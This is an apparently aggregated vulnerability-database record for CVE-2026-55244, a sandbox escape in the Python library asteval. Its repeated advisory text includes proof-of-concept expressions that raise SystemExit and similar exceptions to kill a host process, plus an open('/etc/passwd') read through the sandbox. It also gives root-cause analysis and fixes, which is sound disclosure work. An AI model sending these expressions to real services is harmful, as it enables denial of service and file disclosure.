{"id":"CVE-2026-55244","aliases":["DEBIAN-CVE-2026-55244","EUVD-2026-78058","GHSA-89v8-rhwq-hf77","PYSEC-2026-3807","UBUNTU-CVE-2026-55244","openSUSE-SU-2026:11420-1"],"status":"published","title":"ASTEVAL: Sandbox Escape via BaseException Subclasses","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.","severity":{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00177,"percentile":0.07357,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-248"],"published":"2026-08-01T00:00:00Z","modified":"2026-10-28T02:30:42Z","fixes":[{"ecosystem":"PyPI","package":"asteval","fixed_in":["1.0.9"],"sources":["ghsa","osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-asteval","fixed_in":["1.0.9-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.9"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.28-1","0.9.30-1","0.9.31-1","1.0.6-1","1.0.6-2"]},{"source":"osv","ecosystem":"Debian:13","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.6-2"]},{"source":"osv","ecosystem":"Debian:14","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.6-2"]},{"source":"osv","ecosystem":"PyPI","package":"asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.9"}]}],"versions":["0.9","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8"]},{"source":"osv","ecosystem":"PyPI","package":"asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.9"}]}],"versions":["0.9","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.12-1","0.9.12-2","0.9.17-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.19-2","0.9.25-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.30-1","0.9.31-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.6-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.6-2"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.9-1.1"}]}]}],"products":[{"vendor":"lmfit","product":"asteval"}],"references":[{"url":"https://github.com/lmfit/asteval/security/advisories/GHSA-89v8-rhwq-hf77","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/lmfit/asteval/pull/153","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/lmfit/asteval/commit/9c625b3674f8d05f206708bb85afca17a87694a4","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/lmfit/asteval/commit/c49c99a67acb63eb7410231932250bd820380e45","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/lmfit/asteval/releases/tag/1.0.9","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/lmfit/asteval/commit/a3e56e7f8ed567a4817684d94213b290359077b4","tags":["web"]},{"url":"https://github.com/advisories/GHSA-89v8-rhwq-hf77","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55244.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55244","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-55244","tags":["advisory"]},{"url":"https://github.com/lmfit/asteval","tags":["package"]},{"url":"https://pypi.org/project/asteval","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-55244","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55244","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55244","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-55244","title":"ASTEVAL: Sandbox Escape via BaseException Subclasses","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.","status":"published","published":"2026-09-14T20:00:24.584Z","modified":"2026-09-16T16:17:50.777Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-78058","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.","status":"published","published":"2026-09-14T20:00:24Z","modified":"2026-09-16T16:17:50Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T17:28:15.407859Z"}],"ghsa":[{"id":"GHSA-89v8-rhwq-hf77","title":"asteval has a Sandbox Escape via BaseException Subclasses","description":"## Summary\n\nAn attacker who can supply expressions to `asteval.Interpreter.eval()` can raise `SystemExit`,\n`KeyboardInterrupt`, `GeneratorExit`, or `BaseException` from inside the sandbox. These\nexceptions are subclasses of `BaseException` but not `Exception`, so they bypass the\n`except Exception:` safety net in both `run()` and `eval()`. The exception propagates\nverbatim to the calling application, terminating the process or disrupting signal and\ncleanup handlers.\n\nThis is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and\nGHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in\nall versions including 1.0.6 and current HEAD.\n\n---\n\n## Affected Code\n\n**`asteval/astutils.py`, lines 89–108** — `FROM_PY` exposes dangerous classes to sandbox users:\n\n```python\nFROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',\n           'BaseException',          # ← escapes except Exception:\n           'BufferError', 'BytesWarning',\n           ...\n           'GeneratorExit',          # ← escapes except Exception:\n           ...\n           'KeyboardInterrupt',      # ← escapes except Exception:\n           ...\n           'SystemExit',             # ← escapes except Exception:\n           ...)\n```\n\n**`asteval/asteval.py`, line 322** — `run()` exception handler:\n\n```python\nexcept Exception:                    # ← does NOT catch BaseException subclasses\n    if with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\n**`asteval/asteval.py`, line 370** — `eval()` exception handler:\n\n```python\nexcept Exception:                    # ← same gap\n    if show_errors and not raise_errors:\n        ...\n```\n\n**`asteval/asteval.py`, line 264** — `raise_exception()` raises the class directly:\n\n```python\nraise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above\n```\n\n---\n\n## Root Cause\n\nPython's exception hierarchy has two distinct branches under `BaseException`:\n\n```\nBaseException\n├── SystemExit          ← NOT caught by except Exception:\n├── KeyboardInterrupt   ← NOT caught by except Exception:\n├── GeneratorExit       ← NOT caught by except Exception:\n└── Exception           ← caught normally\n    ├── RuntimeError\n    ├── ValueError\n    └── ...\n```\n\n`FROM_PY` exposes all four non-`Exception` classes to sandbox users. When a user writes\n`raise SystemExit(\"msg\")`, the `on_raise()` handler calls:\n\n```python\nself.raise_exception(None, exc=out.__class__, msg=msg, expr='')\n```\n\nwhich executes `raise SystemExit(msg)`. This propagates through both `except Exception:`\nguards unchecked and surfaces in the calling application.\n\n---\n\n## Proof of Concept\n\n```python\nfrom asteval import Interpreter\n\n# Variant 1: terminate the process\naeval = Interpreter()\ntry:\n    aeval.eval('raise SystemExit(\"terminated by sandbox user\")')\nexcept SystemExit as e:\n    print(f\"[CONFIRMED] SystemExit escaped: {e.code!r}\")\n\n# Variant 2: disrupt signal/finally handling\naeval = Interpreter()\ntry:\n    aeval.eval('raise KeyboardInterrupt(\"interrupt injected\")')\nexcept KeyboardInterrupt as e:\n    print(f\"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}\")\n\n# Variant 3: GeneratorExit\naeval = Interpreter()\ntry:\n    aeval.eval('raise GeneratorExit(\"gen escape\")')\nexcept GeneratorExit as e:\n    print(f\"[CONFIRMED] GeneratorExit escaped: {str(e)!r}\")\n\n# Variant 4: BaseException base class\naeval = Interpreter()\ntry:\n    aeval.eval('raise BaseException(\"base escape\")')\nexcept BaseException as e:\n    if not isinstance(e, Exception):\n        print(f\"[CONFIRMED] BaseException escaped: {str(e)!r}\")\n```\n\n**Output (tested on asteval 1.0.6, Python 3.11/3.12):**\n\n```\n[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'\n[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'\n[CONFIRMED] GeneratorExit escaped: 'gen escape'\n[CONFIRMED] BaseException escaped: 'base escape'\n```\n\n### Real-world server scenario\n\n```python\nfrom asteval import Interpreter\n\ndef handle_request(user_expression):\n    aeval = Interpreter()\n    return aeval.eval(user_expression)   # SystemExit propagates here\n\n# Attacker sends: raise SystemExit(1)\n# Application terminates. Top-level except Exception: handlers do not protect it.\ntry:\n    handle_request('raise SystemExit(1)')\nexcept Exception:\n    pass  # \u003c-- does NOT catch SystemExit; process exits\n```\n\n---\n\n## Impact\n\n| Variant | Impact |\n|---------|--------|\n| `SystemExit` | Process terminates; exit code and message attacker-controlled |\n| `KeyboardInterrupt` | Disrupts `finally` blocks, signal handlers, and `KeyboardInterrupt`-aware loops |\n| `GeneratorExit` | Disrupts generator cleanup in calling code |\n| `BaseException` | Generic escape, same propagation |\n\nAny application that:\n- Accepts user-supplied expressions via `asteval`\n- Relies on `except Exception:` at the top level (standard practice)\n- Does not wrap `aeval.eval()` in `except BaseException:` (non-standard, unexpected requirement)\n\n...is vulnerable to attacker-triggered process termination (DoS).\n\nCVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N),\nno interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N),\nhigh availability impact — process termination (A:H).\n\n---\n\n## Additional Note: File Read Capability (Acknowledged Limitation)\n\nIndependently of this vulnerability, `asteval` exposes a read-only `open()` wrapper\n(`_open` in `astutils.py`) that allows reading arbitrary files with the permissions of the\ncalling process:\n\n```python\naeval.eval(\"open('/etc/passwd').read()\")   # returns /etc/passwd contents\n```\n\nThis is documented in `doc/motivation.rst` as a known design choice (\"If reading from disk\nmust be forbidden, you will want to overwrite the `open()` function from the symbol table\").\nIt is included here for completeness, not as a separate advisory claim.\n\n---\n\n## Recommended Fix\n\n**Option A — Remove dangerous classes from `FROM_PY` (minimal, preferred):**\n\n```python\n# asteval/astutils.py\n\nFROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',\n           # Remove: 'BaseException',\n           'BufferError', 'BytesWarning',\n           'DeprecationWarning', 'EOFError', 'EnvironmentError',\n           'Exception', 'False', 'FloatingPointError',\n           # Remove: 'GeneratorExit',\n           'IOError', 'ImportError', 'ImportWarning', 'IndentationError',\n           'IndexError', 'KeyError',\n           # Remove: 'KeyboardInterrupt',\n           'LookupError',\n           'MemoryError', 'NameError', 'None',\n           'NotImplementedError', 'OSError', 'OverflowError',\n           'ReferenceError', 'RuntimeError', 'RuntimeWarning',\n           'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',\n           # Remove: 'SystemExit',\n           'True', 'TypeError', ...)\n```\n\n**Option B — Block non-`Exception` raises in `on_raise()`:**\n\n```python\n# asteval/asteval.py\n\ndef on_raise(self, node):\n    excnode = node.exc\n    msgnode = node.cause\n    out = self.run(excnode)\n    # Prevent BaseException subclasses from escaping the sandbox\n    if not issubclass(out.__class__, Exception):\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"raising {out.__class__.__name__!r} is not permitted\")\n        return\n    msg = ' '.join(str(a) for a in out.args)\n    msg2 = self.run(msgnode)\n    if msg2 not in (None, 'None'):\n        msg = f\"{msg}: {msg2}\"\n    self.raise_exception(None, exc=out.__class__, msg=msg, expr='')\n```\n\nNote: Option B also fixes a secondary bug on the same line — `' '.join(out.args)` crashes\nwith `TypeError` when args contain non-strings (e.g., `raise SystemExit(0)` with integer\ncode). The fix uses `str(a) for a in out.args`.\n\n**Option C — Catch `BaseException` in `run()` and `eval()` (broadest, requires care):**\n\n```python\nexcept BaseException as exc:\n    if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):\n        # Re-raise as RuntimeError to contain within sandbox\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"{type(exc).__name__} raised in sandbox\")\n    elif with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\nOption A is the simplest and least likely to introduce regressions. Option B additionally\naddresses the `str.join` crash on integer args.\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-06-09 | Vulnerability discovered during code review |\n| 2026-06-09 | Report submitted via GitHub Security Advisory |\n| TBD | Maintainer acknowledgment |\n| TBD + 90 days | Public disclosure deadline |\n\n---\n\n## Researcher\n\nIndependent security researcher. No bug bounty program exists for this project.\nCVE assignment requested via GitHub Security Advisory submission.\n\n---\n\n## References\n\n- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)\n- Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)\n- Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy\n- `asteval` documentation: https://lmfit.github.io/asteval/","status":"published","published":"2026-08-20T17:28:52Z","modified":"2026-08-20T17:28:53Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T14:41:03.602876Z"}],"nvd":[{"id":"CVE-2026-55244","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.","status":"published","published":"2026-09-14T20:16:47.64Z","modified":"2026-09-30T17:51:56.193Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T14:12:47.335523Z"}],"osv":[{"id":"CVE-2026-55244","title":"ASTEVAL: Sandbox Escape via BaseException Subclasses","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.","status":"published","published":"2026-09-14T20:00:24.584Z","modified":"2026-10-28T02:30:42.82050295Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"DEBIAN-CVE-2026-55244","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.","status":"published","published":"2026-09-14T20:16:47.64Z","modified":"2026-10-01T08:47:34.272564179Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-89v8-rhwq-hf77","title":"asteval has a Sandbox Escape via BaseException Subclasses","description":"## Summary\n\nAn attacker who can supply expressions to `asteval.Interpreter.eval()` can raise `SystemExit`,\n`KeyboardInterrupt`, `GeneratorExit`, or `BaseException` from inside the sandbox. These\nexceptions are subclasses of `BaseException` but not `Exception`, so they bypass the\n`except Exception:` safety net in both `run()` and `eval()`. The exception propagates\nverbatim to the calling application, terminating the process or disrupting signal and\ncleanup handlers.\n\nThis is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and\nGHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in\nall versions including 1.0.6 and current HEAD.\n\n---\n\n## Affected Code\n\n**`asteval/astutils.py`, lines 89–108** — `FROM_PY` exposes dangerous classes to sandbox users:\n\n```python\nFROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',\n           'BaseException',          # ← escapes except Exception:\n           'BufferError', 'BytesWarning',\n           ...\n           'GeneratorExit',          # ← escapes except Exception:\n           ...\n           'KeyboardInterrupt',      # ← escapes except Exception:\n           ...\n           'SystemExit',             # ← escapes except Exception:\n           ...)\n```\n\n**`asteval/asteval.py`, line 322** — `run()` exception handler:\n\n```python\nexcept Exception:                    # ← does NOT catch BaseException subclasses\n    if with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\n**`asteval/asteval.py`, line 370** — `eval()` exception handler:\n\n```python\nexcept Exception:                    # ← same gap\n    if show_errors and not raise_errors:\n        ...\n```\n\n**`asteval/asteval.py`, line 264** — `raise_exception()` raises the class directly:\n\n```python\nraise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above\n```\n\n---\n\n## Root Cause\n\nPython's exception hierarchy has two distinct branches under `BaseException`:\n\n```\nBaseException\n├── SystemExit          ← NOT caught by except Exception:\n├── KeyboardInterrupt   ← NOT caught by except Exception:\n├── GeneratorExit       ← NOT caught by except Exception:\n└── Exception           ← caught normally\n    ├── RuntimeError\n    ├── ValueError\n    └── ...\n```\n\n`FROM_PY` exposes all four non-`Exception` classes to sandbox users. When a user writes\n`raise SystemExit(\"msg\")`, the `on_raise()` handler calls:\n\n```python\nself.raise_exception(None, exc=out.__class__, msg=msg, expr='')\n```\n\nwhich executes `raise SystemExit(msg)`. This propagates through both `except Exception:`\nguards unchecked and surfaces in the calling application.\n\n---\n\n## Proof of Concept\n\n```python\nfrom asteval import Interpreter\n\n# Variant 1: terminate the process\naeval = Interpreter()\ntry:\n    aeval.eval('raise SystemExit(\"terminated by sandbox user\")')\nexcept SystemExit as e:\n    print(f\"[CONFIRMED] SystemExit escaped: {e.code!r}\")\n\n# Variant 2: disrupt signal/finally handling\naeval = Interpreter()\ntry:\n    aeval.eval('raise KeyboardInterrupt(\"interrupt injected\")')\nexcept KeyboardInterrupt as e:\n    print(f\"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}\")\n\n# Variant 3: GeneratorExit\naeval = Interpreter()\ntry:\n    aeval.eval('raise GeneratorExit(\"gen escape\")')\nexcept GeneratorExit as e:\n    print(f\"[CONFIRMED] GeneratorExit escaped: {str(e)!r}\")\n\n# Variant 4: BaseException base class\naeval = Interpreter()\ntry:\n    aeval.eval('raise BaseException(\"base escape\")')\nexcept BaseException as e:\n    if not isinstance(e, Exception):\n        print(f\"[CONFIRMED] BaseException escaped: {str(e)!r}\")\n```\n\n**Output (tested on asteval 1.0.6, Python 3.11/3.12):**\n\n```\n[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'\n[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'\n[CONFIRMED] GeneratorExit escaped: 'gen escape'\n[CONFIRMED] BaseException escaped: 'base escape'\n```\n\n### Real-world server scenario\n\n```python\nfrom asteval import Interpreter\n\ndef handle_request(user_expression):\n    aeval = Interpreter()\n    return aeval.eval(user_expression)   # SystemExit propagates here\n\n# Attacker sends: raise SystemExit(1)\n# Application terminates. Top-level except Exception: handlers do not protect it.\ntry:\n    handle_request('raise SystemExit(1)')\nexcept Exception:\n    pass  # \u003c-- does NOT catch SystemExit; process exits\n```\n\n---\n\n## Impact\n\n| Variant | Impact |\n|---------|--------|\n| `SystemExit` | Process terminates; exit code and message attacker-controlled |\n| `KeyboardInterrupt` | Disrupts `finally` blocks, signal handlers, and `KeyboardInterrupt`-aware loops |\n| `GeneratorExit` | Disrupts generator cleanup in calling code |\n| `BaseException` | Generic escape, same propagation |\n\nAny application that:\n- Accepts user-supplied expressions via `asteval`\n- Relies on `except Exception:` at the top level (standard practice)\n- Does not wrap `aeval.eval()` in `except BaseException:` (non-standard, unexpected requirement)\n\n...is vulnerable to attacker-triggered process termination (DoS).\n\nCVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N),\nno interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N),\nhigh availability impact — process termination (A:H).\n\n---\n\n## Additional Note: File Read Capability (Acknowledged Limitation)\n\nIndependently of this vulnerability, `asteval` exposes a read-only `open()` wrapper\n(`_open` in `astutils.py`) that allows reading arbitrary files with the permissions of the\ncalling process:\n\n```python\naeval.eval(\"open('/etc/passwd').read()\")   # returns /etc/passwd contents\n```\n\nThis is documented in `doc/motivation.rst` as a known design choice (\"If reading from disk\nmust be forbidden, you will want to overwrite the `open()` function from the symbol table\").\nIt is included here for completeness, not as a separate advisory claim.\n\n---\n\n## Recommended Fix\n\n**Option A — Remove dangerous classes from `FROM_PY` (minimal, preferred):**\n\n```python\n# asteval/astutils.py\n\nFROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',\n           # Remove: 'BaseException',\n           'BufferError', 'BytesWarning',\n           'DeprecationWarning', 'EOFError', 'EnvironmentError',\n           'Exception', 'False', 'FloatingPointError',\n           # Remove: 'GeneratorExit',\n           'IOError', 'ImportError', 'ImportWarning', 'IndentationError',\n           'IndexError', 'KeyError',\n           # Remove: 'KeyboardInterrupt',\n           'LookupError',\n           'MemoryError', 'NameError', 'None',\n           'NotImplementedError', 'OSError', 'OverflowError',\n           'ReferenceError', 'RuntimeError', 'RuntimeWarning',\n           'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',\n           # Remove: 'SystemExit',\n           'True', 'TypeError', ...)\n```\n\n**Option B — Block non-`Exception` raises in `on_raise()`:**\n\n```python\n# asteval/asteval.py\n\ndef on_raise(self, node):\n    excnode = node.exc\n    msgnode = node.cause\n    out = self.run(excnode)\n    # Prevent BaseException subclasses from escaping the sandbox\n    if not issubclass(out.__class__, Exception):\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"raising {out.__class__.__name__!r} is not permitted\")\n        return\n    msg = ' '.join(str(a) for a in out.args)\n    msg2 = self.run(msgnode)\n    if msg2 not in (None, 'None'):\n        msg = f\"{msg}: {msg2}\"\n    self.raise_exception(None, exc=out.__class__, msg=msg, expr='')\n```\n\nNote: Option B also fixes a secondary bug on the same line — `' '.join(out.args)` crashes\nwith `TypeError` when args contain non-strings (e.g., `raise SystemExit(0)` with integer\ncode). The fix uses `str(a) for a in out.args`.\n\n**Option C — Catch `BaseException` in `run()` and `eval()` (broadest, requires care):**\n\n```python\nexcept BaseException as exc:\n    if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):\n        # Re-raise as RuntimeError to contain within sandbox\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"{type(exc).__name__} raised in sandbox\")\n    elif with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\nOption A is the simplest and least likely to introduce regressions. Option B additionally\naddresses the `str.join` crash on integer args.\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-06-09 | Vulnerability discovered during code review |\n| 2026-06-09 | Report submitted via GitHub Security Advisory |\n| TBD | Maintainer acknowledgment |\n| TBD + 90 days | Public disclosure deadline |\n\n---\n\n## Researcher\n\nIndependent security researcher. No bug bounty program exists for this project.\nCVE assignment requested via GitHub Security Advisory submission.\n\n---\n\n## References\n\n- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)\n- Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)\n- Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy\n- `asteval` documentation: https://lmfit.github.io/asteval/","status":"published","published":"2026-08-20T17:28:52Z","modified":"2026-09-10T12:25:42.196126429Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T15:46:42.077781Z"},{"id":"PYSEC-2026-3807","title":"asteval has a Sandbox Escape via BaseException Subclasses","description":"## Summary\n\nAn attacker who can supply expressions to `asteval.Interpreter.eval()` can raise `SystemExit`,\n`KeyboardInterrupt`, `GeneratorExit`, or `BaseException` from inside the sandbox. These\nexceptions are subclasses of `BaseException` but not `Exception`, so they bypass the\n`except Exception:` safety net in both `run()` and `eval()`. The exception propagates\nverbatim to the calling application, terminating the process or disrupting signal and\ncleanup handlers.\n\nThis is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and\nGHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in\nall versions including 1.0.6 and current HEAD.\n\n---\n\n## Affected Code\n\n**`asteval/astutils.py`, lines 89–108** — `FROM_PY` exposes dangerous classes to sandbox users:\n\n```python\nFROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',\n           'BaseException',          # ← escapes except Exception:\n           'BufferError', 'BytesWarning',\n           ...\n           'GeneratorExit',          # ← escapes except Exception:\n           ...\n           'KeyboardInterrupt',      # ← escapes except Exception:\n           ...\n           'SystemExit',             # ← escapes except Exception:\n           